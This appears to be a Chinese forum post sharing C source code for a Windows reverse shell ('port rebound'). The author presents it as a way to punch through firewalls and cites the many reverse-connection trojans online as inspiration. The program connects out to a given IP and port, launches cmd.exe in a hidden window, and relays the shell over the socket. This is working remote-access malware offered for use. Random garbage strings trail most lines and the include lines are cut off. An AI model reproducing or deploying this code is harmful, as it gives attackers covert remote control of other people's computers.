Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 4qk9NK2 U  
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/* ============================== o7$'cn  
Rebound port in Windows NT @<elq'2  
By wind,2006/7 f.9SB  
===============================*/ 9?SZNL['V  
#include :>C2gS@  
#include sr{a(4*\  
h-[VH%  
#pragma comment(lib,"wsock32.lib") rogT~G}q  

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void OutputShell(); oaIi2=Tf  
SOCKET sClient; ++^l]8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &__es{;
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void main(int argc,char **argv) sG92XJ  
{ )!P)U(*v  
WSADATA stWsaData; G6$kv2(k`@  
int nRet; ~=uWD&5B4  
SOCKADDR_IN stSaiClient,stSaiServer; AT2nVakL  
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if(argc != 3) Q
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{ {?:X8&Sf  
printf("Useage:\n\rRebound DestIP DestPort\n"); X\bOz[\  
return;  J4fi'  
} 2#c<\s|C  
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WSAStartup(MAKEWORD(2,2),&stWsaData); hhCrUn"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6\g cFfo  
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stSaiClient.sin_family = AF_INET; 5kCUaP
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stSaiClient.sin_port = htons(0); ~a ]+#D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^")Q YE  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y 0d<~*  
{ "@iK' c^  
printf("Bind Socket Failed!\n"); #h` V>;  
return; X-K=!pET  
} >0ow7Uw;  
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stSaiServer.sin_family = AF_INET; 3G}x;Cp\D  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bk;?9%TW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :~Wrf8UQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J}v}~Cv  
{ C~2F9Pg  
printf("Connect Error!"); kmP]SO?tx  
return; 2bw_IT  
} 2$+bJJM  
OutputShell(); mr*JJF0Z  
} hT`J1nNt  
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void OutputShell() &Sw%<N*r  
{ I>]oS(GNT  
char szBuff[1024]; )dbB=OZ  
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; 0
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a, k'Vk{  
STARTUPINFO stStartupInfo; e:fy#,HEj{  
char *szShell; Ql/cN%^j$  
PROCESS_INFORMATION stProcessInformation; BTGvN%  
unsigned long lBytesRead; ORe(]I`Z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y{ibO}s  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l=S35og  
stSecurityAttributes.lpSecurityDescriptor = 0; T!+5[  
stSecurityAttributes.bInheritHandle = TRUE; O#:$^#j&  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \KMToN&2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `^u>9v-+'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 27 ]':A4_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CR8/Ke  
stStartupInfo.wShowWindow = SW_HIDE; `Nz/Oh7  
stStartupInfo.hStdInput = hReadPipe; +giyX7BPJ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [Y|8\Ph`&  
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GetVersionEx(&stOsversionInfo); _"?.!  
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switch(stOsversionInfo.dwPlatformId) FQu8vwV6>  
{ V
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case 1: w~(1
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szShell = "command.com"; 6h|q'.Y  
break; /Y9>8XSc  
default: B:5Rr}eY+  
szShell = "cmd.exe"; +o\:d1y  
break;  CJ1 7n  
} E@@5BEB ~  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f!\lg
 
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send(sClient,szMsg,77,0); $bW3_rl%X  
while(1) rSZd!OQ  
{ +]*zlE\N`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }SX,^|eN  
if(lBytesRead) }#L^!\V}  
{ 7|{}\w(I  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U &C!}  
send(sClient,szBuff,lBytesRead,0); wN@oYFoL  
} ^N7e76VwR  
else KC/=TSSXd.  
{ RHmgD;7`  
lBytesRead=recv(sClient,szBuff,1024,0); 5Sm}nH  
if(lBytesRead<=0) break; oC<.=2]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )Q1"\\2j0  
} #
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} < vL,*.zd  
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return; NG--6\  
}